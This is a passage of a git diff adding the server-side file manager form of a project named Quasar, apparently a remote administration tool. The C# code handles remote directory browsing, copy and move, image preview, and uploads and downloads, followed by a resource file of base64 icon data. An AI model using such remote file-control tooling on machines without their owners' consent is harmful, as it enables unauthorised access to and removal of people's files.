destinationPath, item.Type); + } + } + + if (_isCutOperation) + { + // Clear clipboard after cut operation + _clipboardFiles = null; + SetStatusMessage(this, "Files moved"); + } + else + { + SetStatusMessage(this, "Files copied"); + } + + // Refresh directory to show changes + System.Threading.Tasks.Task.Delay(500).ContinueWith(_ => + { + this.Invoke((MethodInvoker)RefreshDirectory); + }); + } + + private void previewToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count != 1) + return; + + var selectedItem = lstDirectory.SelectedItems[0]; + FileManagerListTag tag = (FileManagerListTag)selectedItem.Tag; + + if (tag.Type == FileType.File && IsImageFile(selectedItem.SubItems[0].Text)) + { + string filePath = GetAbsolutePath(selectedItem.SubItems[0].Text); + string fileName = selectedItem.SubItems[0].Text; + + // Download the image for preview to temp folder with _preview_ prefix + string localPath = "_preview_" + Path.GetFileName(fileName); + _fileManagerHandler.BeginDownloadFile(filePath, localPath, true); + + // Show a message that preview is loading + SetStatusMessage(this, "Loading image preview..."); + } + } + + private bool IsImageFile(string filename) + { + string ext = Path.GetExtension(filename).ToLower(); + return ext == ".png" || ext == ".jpg" || ext == ".jpeg" || ext == ".bmp" || + ext == ".gif" || ext == ".ico" || ext == ".tiff" || ext == ".tif" || + ext == ".webp" || ext == ".svg" || ext == ".jfif"; + } + + private void cancelToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem transfer in lstTransfers.SelectedItems) + { + if (!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; + + int id = int.Parse(transfer.SubItems[(int)TransferColumn.Id].Text); + + _fileManagerHandler.CancelFileTransfer(id); + } + } + + private void clearToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem transfer in lstTransfers.Items) + { + if (transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; + transfer.Remove(); + } + } + + private void lstDirectory_DragEnter(object sender, DragEventArgs e) + { + if (e.Data.GetDataPresent(DataFormats.FileDrop)) // allow drag & drop with files + e.Effect = DragDropEffects.Copy; + } + + private void lstDirectory_DragDrop(object sender, DragEventArgs e) + { + if (e.Data.GetDataPresent(DataFormats.FileDrop)) + { + string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); + foreach (string localFilePath in files) + { + if (!File.Exists(localFilePath)) continue; + + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); + + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); + } + } + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + RefreshDirectory(); + } + + private void FrmFileManager_KeyDown(object sender, KeyEventArgs e) + { + // refresh when F5 is pressed + if (e.KeyCode == Keys.F5 && !string.IsNullOrEmpty(_currentDir) && TabControlFileManager.SelectedIndex == 0) + { + RefreshDirectory(); + e.Handled = true; + } + } + + /// + /// Adds an item to the file browser. + /// + /// File or directory name. + /// File size, for directories use 0. + /// File type. + /// The image to display for this item. + private void AddItemToFileBrowser(string name, long size, FileType type, int imageIndex) + { + ListViewItem lvi = new ListViewItem(new string[] + { + name, + (type == FileType.File) ? StringHelper.GetHumanReadableFileSize(size) : string.Empty, + (type != FileType.Back) ? type.ToString() : string.Empty + }) + { + Tag = new FileManagerListTag(type, size), + ImageIndex = imageIndex + }; + + lstDirectory.Items.Add(lvi); + } + + /// + /// Sets the status of the file manager. + /// + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) + { + stripLblStatus.Text = $"Status: {message}"; + } + + /// + /// Fetches the directory contents of the current directory. + /// + private void RefreshDirectory() + { + SwitchDirectory(_currentDir); + } + + /// + /// Switches to a new directory and fetches the contents of it. + /// + /// Path of new directory. + private void SwitchDirectory(string remotePath) + { + _fileManagerHandler.GetDirectoryContents(remotePath); + SetStatusMessage(this, "Loading directory content..."); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.resx new file mode 100755 index 0000000..fba8c7c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.resx @@ -0,0 +1,853 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 297, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFGSURBVDhPY/j//z8DJRhDAIZLjmf8Lz6W/r/gUOr/ + 3H1J/9HlCRpQdDTt/+obi/6vvL7gf8aOWNINyD+Q/H/5tXn/l16Z8z95UyTpBmTtjv+/+Mqs/wsvz/gf + uyqYdANSt0T/n39p2v85F6b8D1/kR7oB8WvD/s86P/n/jHMT/gfM8iDdgMhlAf+nnun7P/l093+vSU6k + GxA8z+v/xFNd//tOtv937rIh3QCfqa7/e463/u881vTftsmMNAO8pzhbhM7y+99+tPF/6+G6/2ZVhsQb + 4DXJaYdrj+33nLWp/5sO1f5vOFj1P2CS93+dXPXvGhkqu9HVYxjg3GXDZtdscTN8ZuD/ugOV/2v2l/33 + 7nX7r56mfFs5SYENXT2GATBsXKp73rff479Xj+t/tVSli+jyBA0AYc1M1SOqKYon0cWJNoAYDAAWX9VT + xFwz8wAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFGSURBVDhPpczfK0NxAAXwPe3PUFZbtFa0Wla0ImIp + yyJLQ3JnUou7kc3uYrouw8JM63a7EuZl3jystDb7aZfMj6XkD9nj8aR0F/bNw3k55/RRAFD8J3XF97iL + s+WFLJWX9w0BdMHxvCUFwN6twpm0V+T7j4Cn5FTSeccHJ/lx+SbioiqAybgxkRh5t8UtSvm/DljMUTeu + 9HRto+jFWZXH6WsMmzkGY+dDNatoTsr/dcBXqOtxnLwcQ3g6ApWwY1gY6JB/fgUmr0bBVyKIPe7DwvdD + vv8J2OIWRB/CiNzvwHzYTQ5YRTMOpBDCZQ49oU5yYDDai90Si+1iEF1BAznQt2cCV1gHmwvA4GsnB0ys + EcEsg7VbH9poLTlgZPQIZLzwp5ehndeQA/olHXwpD1ZSNDSUihzQuVrQOqeGeqYZqqkmcqDRfALmetgt + inUAfQAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJcSURBVDhPpdNdSFNhGAfwV7rpqrwpkKIwkooI2oWE + fdCFMeoqvAjBRFPLVoqzZsE+Kt0YmqJNGc6sNp3OWh/0IVpqRdqXuTKKAivtSpjMyo99nJ295+wf7zsn + gnhhPfBwDg/P8zuH85yXACD/kyTjjLuo9uFYQH9zFLqOUejav0PrHMH5lq84Z/8CzY3PONv8EaVXh6Fu + 9KDY+g665lcBNscB890xuaFnAstNtaVf5gB78r9kYc0LcEDX/oPdLDsKKp+xCyHatm+8IFIJYSpBECkC + AsWsEMF0UMRvvwDfVAjeySDGfX789M7y/mPm3jnAOcILEVlGRJI4FIpQBMMxaCZE8ScQxuSsAN+0gIlf + Id6fU/E4BrCvzUKSZVCGyDJESYJAJQTZ24Qp/AJFacd+nHAo4J2a4f3ZF7tiAFsVB6JRDsQhUZYRZpBI + OXTKmYaKzixkNm2FSAVkGR7FAM31T/NAPBmgdu1DSXsaVM5U5NsVMNw/gtueepTdOQylJQmZencMUNve + xwAAbLFxpKhtFx4MN+LeBysfvOWxwPK0DK1vq6FyKZFauRI7TAmrSYl1iAMsonOIHI2iwKHgw3W9alx+ + UgRzdyHKO/Ng7DqJpgETslv2IuUSkUhxw+A8sDCOXtsG95AFrsFatL6phv11Fczdp2EbMKLQdRAphlVY + pyU72Vlwq+pe8j/reNVz5Jn7kGvqQYZtEw7Vr0f6lbXYU5OIHMduNPaXI79Nic2GRBzQGNkeyaLTtVRu + NyUEc1vTsVFPxpO0ZEu8vqhxqUy+QIIb9CuwRkuSF9b/ApkfFpdHjIMtAAAAAElFTkSuQmCC + + + + 157, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAU + EwAAAk1TRnQBSQFMAgEBCwIAAQMBAAEDARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + AUADAAEwAwABAQEAAQgGAAEMGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA + AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA + AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm + AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ + AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm + AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz + AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm + AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm + AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA + ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm + AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm + ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm + AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA + AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ + AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz + AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/ + AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA + AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM + AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm + ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ + AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/ + ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM + ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm + AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM + AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA + AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA + ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7 + Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/8BAAH/AfQB7wq1Ae8B9AH/ + AgAHvAUHAf8DAAHvAeoIEgHqAe8SAAL/AbUB9AkZAbUC/wIAAfIB9AHxCPMB8gH/AgAB8wHsCvQB7AHz + EwABuwEZBSoBMQIqARkBuwQAAfIB8wJtAewB9wHvAbwB8QHyAvMB/wIAAfAB7wr/Ae8B8BMAAQcBGQUx + ATcCMQEZAQcEAAHyAfABEwIVARQBEgFtAesB7QGSAbwB/wIAAfAB7wEZAbMBuQH0Av8BGQH0Av8B7wHw + EwABCQEZASoDMAExAVkBWAExARkBCQQAAfIBBwEUBxUBbQHwAf8CAAHwAe8BGQK6AQkB/wHcArMB9AH/ + Ae8B8BMAAbwBGQEPAUMBRAFLAXkBoAF5AVgBGQG8BAAB8gH3CBUB6wHyAf8CAAHwAe8B/wIZAQkB/wEZ + AroBGQH/Ae8B8BMAAbwBGQEVAUQCWAF6AuUBWQEZAbwEAAHyAewIFQH3AfMB/wIAAfAB7wL/AfQBCQP/ + AhkB/wHvAfATAAHwARkBRAFRAlgBWQHlAVkBWAEZAfAEAAHyAesHFQEUAQcB9AH/AgAB8AHvAv8B9AG6 + AQkBGQH0AhkB/wHvAfATAAHwARkBUgdYARkB8AQAAfABbQHtAuoBFAMVAeoB8QH0Af8CAAHwAe8C/wH0 + ArIDrAEZAf8B7wHwEwAB8AEZCFgBGQHwBAABBwFtAe0B7AEHAu8D7AL0Af8BAAH/AbwB7wL/AfQBugK0 + ArMBGQH/Ae8B8BMAAfABGQgxARkB8AQAAfEBBwG8AewBkgH3Ae8BvAHwAbwC9AH/AQABBwFlAbQEuwEJ + AfQB8wEZAfQB/wHvAfATAAHwBRkECQEZAfAEAAHyAv8B8wHyAe8BvAL3AfED/wEAAQcBswW6AbMF9AHv + AfATAAHxBBkDCQO1AbsEAAHyBf8B8wHxAfAB8QHyAbwB/wEAAQcBiwG6ArsBugG7AbQB8wT0Ae8B8BMA + AfEDGQQJAbsB9AHxAf8EAAHyB/8B9AHzAfAB9AIAAQcBZQa0BfMB7wHwEwAB8QcZAQkB8QH/BQAB8gj/ + AbwB9AMAAfQBvAHsCvMB7AHzEwAB8wjxAf8GAAjxAfAB9AYAAe8KbQHvEgAB/wH0AbwKBwG8AfQB/wEA + AfQL8wH0AgAB/wH0Ae8KtQHvAfQB/wIAAQcMEgEHAv8BBwr/AQcC/wEAAZkLUgGZAgAC/wG1AfQJGQG1 + Av8CAAESDP8BEgIAAbwK/wG8AwABUgF6CXkBegFSBAABuwoZAbsCAAogA/QB8wH/AeoCAAG8Af8CvAHw + AbwD/wH0Af8BvAMAAVIBegJ5AVgCUgFYA3kBegFSBAABBwEZArsCCQUZAQcCAAogAfQD8wH/AeoCAAG8 + Af8E8wL/AvQB/wG8AwABUgF6AXkBUgT/AVICeQF6AVIEAAEJChkBCQIAAiABvQFvBiAE8wH/AW0CAAG8 + Af8BvAHwAbwBBwS8Af8BvAMAAVIBegF0AVIBGgL/ARoBUgJ0AXoBUgIAAc8HpgGGAQkCuwEZAbwCAAIg + AUYB9AGUAW8BlAG9AiAE8wH/AW0CAAG8Af8D8wHyBPEB/wG8AwABUgF6A1IC/wJSAnQBegFSAgABhgf0 + AYYDCQEZAbwCAAMgARcBlAFGAb0BFwIgBPMB/wHrAgABvAH/AbwCBwG8AQcCvAEHAfQBvAMAAVIBegNS + AZkB/wJSAXQBUgF6AVICAAGGAfQBrQGLAfABiwHwAfQBhgO7ARkB8AIABCAClAEWAyAE8wH/AesCAAHw + Af8B8wHyBvEB9AHwAwABUgF6A1IB/wGZBFIBegFSAgABhgH0Aa0BtAG1AbQBtQH0AYYDCQEZAfACAAQg + AUcB/wQgBPMB/wHsAgAB8AH/AQcBvAQHAbwBBwH0AfADAAFSAZoDUgGZAf8EUgGaAVICAAGLAf8BrQEJ + Ac8BCQHPAf8BiwO7ARkB8AIABfkB/wT5A/MB8gH/AewCAAHwAf8E8QH0AvMB8QH0AfADAAFSAZoDUgH/ + AZkBdASaAVICAAGtAf8BrQH0Aa0B9AGtAf8BrQMJARkB8AIACvkF/wHsAgAB8AH/AgcBvAEHAvMC8QH0 + AfADAAFSAZoDUgGZAf8BmgF0AlIBmgFSAgABrQHdAa0BCQGtAQkBrQHdAa0DCQEZAfACAAr5Af8C8gHz + Ae0BvAIAAfAB/wP0AvMB8QP3AbwDAAFSAZoDUgH/AZkBmgFSAfQB/wF5AZkCAAGtB/8BrQEJA7UBuwQA + Ae0B/wPzA/IB/wHyAfMB7QHwAwAB8AH/AvQC8wLxAe8B/wHwAfQDAAFSAZoDUgGZAf8BmgFSAf8BeQGZ + AwABtQfPAbQBCQG7AfQB8QH/BAABkgH/AfMF8gH/AfMBkgHwBAAB8QL/BfQBBwHxAfQEAAFSCJoBeQGZ + BgAB8QcZAQkB8QH/BQABkgj/AZIB8AUAAfMI8gH0BQABdAhSAXQHAAHzCPEB/wYAAfAI9wHwJgAB9AHv + CPcB7wH0MwAB/wFtAfMI9AHzAW0B/wEAEP8RAAEaAZkLUgEaAgAB8wH3Cv8B9wHzAQABtQ60AbUDAAHz + AfQMAAF0ARsBGgSaBXoBwwFSAgAB8wH3Cv8B9wHzAQABtAHzDPIB8wG0AgAB8wEuAVAMAAFSAfYBoAKa + A3oEWQHDAVICAAHzAfcK/wH3AfMBAAG0AfMM8gHzAbQBAAHzAS4BeQEuCvMB9AEAAVIB9gHDAaACmgN6 + A1kBwwFSAgAB8wHvCv8B7wHzAQABtAHzDPIB8wG0AfMBLgF5ATYBNQouAXMBAAFSAfYCwwKgAZoDegJZ + AcMBUgIAAfMB7wr/Ae8B8wEAAbQB9AzzAfQBtAEuAXkNNgEuAQABUgL/A/YBwwKaA3oBwwFSAgAB8wHv + Cv8B7wHzAQABtAH0DPMB9AG0AS4BmQI2C3kBLgEAAVIB9gKaAXoBGwb2Af8BWAIAAfMB7wr0AfcB8wEA + AboO9AG6AQABLgGZATYBLwouARwBAAFYAfYDmgJ6ApoDegH2AVgCAAHzAe8J9AHzAZIB8wEAAboO/wG6 + AgABLgGZAS4MAAFYAfYDmgEaBvYB/wF5AgAB8wHvB/QB8wHyAbwB7AHzAQAB2w7/AdsDAAEuAVAMAAFY + Bf8B9gR5ApkBGwIAAfMB7wfzAfEC8gFtAf8BAAHbDv8B2xEAB3kH/wIAAfMB7wbzAfAB8wHyAewB8wIA + AboC2wLVBrQEswG0IQAB8wHvBfIB8AG8AfMB7AH0AwABCQTcBtsE2gEJIQAB/wHrAfMC9AHzAfIBvAHv + AewB9AQAAfQBCQzbAQkB9CIAAfQB7wX3AZIB9BUAAUIBTQE+BwABPgMAASgDAAFAAwABMAMAAQEBAAEB + BQABgAEBFgAD/wMAAcABAQHAAQMEAAHAAQEBgAEBAgABwAEDAcABAQGAAQECAAHAAQMBwAEBAYABAQIA + AcABAwHAAQEBgAEBAgABwAEDAcABAQGAAQECAAHAAQMBwAEBAYABAQIAAcABAwHAAQEBgAEBAgABwAED + AcABAQGAAQECAAHAAQMBwAEBAQABAQIAAcABAwHAAQEBAAEBAgABwAEDAcABAQEAAQECAAHAAQMBwAEB + AQABAQIAAcABAwHAAQMBAAEBAgABwAEHAcABBwEAAQECAAHAAQ8BwAEPAcABAwQAAYABAwIAAcADAAGA + AQMCAAHAAQABwAEDAYABAwHAAQMCAAHAAQMBgAEDAcABAwIAAcABAwGAAQMBwAEDAgABwAEDAYABAwEA + AQMCAAHAAQMBgAEDAQABAwIAAcABAwGAAQMBAAEDAgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwIA + AcABAwGAAQMBAAEDAgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwHAAQEBwAEDAYABBwEAAQMBwAED + AcABBwGAAQ8BwAEHAcABBwHAAQ8BgAEfAcABDwHAAQ8E/wHAAQMG/wGAAQECAAL/AYABAQGAAQECAAHn + Af8BgAEBAYABAQIAAccB/wGAAQEBgAEBAgABgAEAAYABAQGAAQEEAAGAAQEBgAEBBAABgAEBAYABAQQA + AYABAQGAAQECAAGAAQABgAEBAYABAQIAAccB/wGAAQEBgAEBAgAB5wH/AYABAQGAAQECAAL/AYABAQGA + AQMCAAT/AYABBwIABP8BgAEPAgAE/wHAAR8C/ws= + + + + 496, 17 + + + 605, 17 + + + 17, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE + CQAAAk1TRnQBSQFMAgEBAgEAAXgBAgF4AQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0UAAUcG+QFHCQAC/ywA + AkcCFwRHASYBRwcAAf8BTwFJAf8qAAJHARcBRwT5ASYBRwEmAUcFAAH/AU8BcgFQAUkB/ygAAkcCFwG9 + AUcC+QFHAb0CRwEmAUcDAAH/AVABcgF4AZcBcgFJAf8nAAH5ARcBRwG9Af8B9AJHAfQB/wG9AkcB+QIA + Af8BcgGXBHgBcgFPAf8mAAH5ARcBRwEXAfQB/wL0Af8B9AFHAfkBRwH5AQAB/wKXAZgBeAKXAngBcgFP + Af8lAAH5AeMCRwEXAfQC/wH0AUcC+QEXAfkBAAH0AngBmAFyAfABCAFyAngBcgFPAf8kAAH5AeMCRwEX + AfQC/wH0AUcC+QEXAfkCAAH0ApcB8AIAAQgBcgJ4AXIBTwH/IwAB+QHjAUcBFwH0Af8C9AH/AfQBRwH5 + ARcB+QMAAfQB8gQAAQgBcgJ4AXIBTwH/IgAB+QHjARcBvQH/AfQCFwH0Af8BvQFHARcB+QoAAQgBlwGY + AXgBcgFPAf8hAAJHAuMBvQEXAkcBFwG9AhcCRwsAAQgBlwGYAXgBcgEIIgACRwHjARcFRwEXAkcNAAEI + AZcBcgG8JAACRwbjAUcB+Q8AAggmAAFHBvkBR3QAAUIBTQE+BwABPgMAASgDAAFAAwABEAMAAQEBAAEB + BQABgBcAA/8BAAT/BAAB8AEPAfkB/wQAAeABBwHwAf8EAAHAAQMB4AF/BAABgAEBAcABPwQAAYABAQGA + AR8EAAGAAQEBAAEPBAABgAEBAQABBwQAAYABAQGGAQMEAAGAAQEBzwEBBAABgAEBAf8BgAQAAYABAQH/ + AcAEAAHAAQMB/wHhBAAB4AEHAf8B8wQAAfABDwL/BAAE/wQACw== + + + + 58 + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + 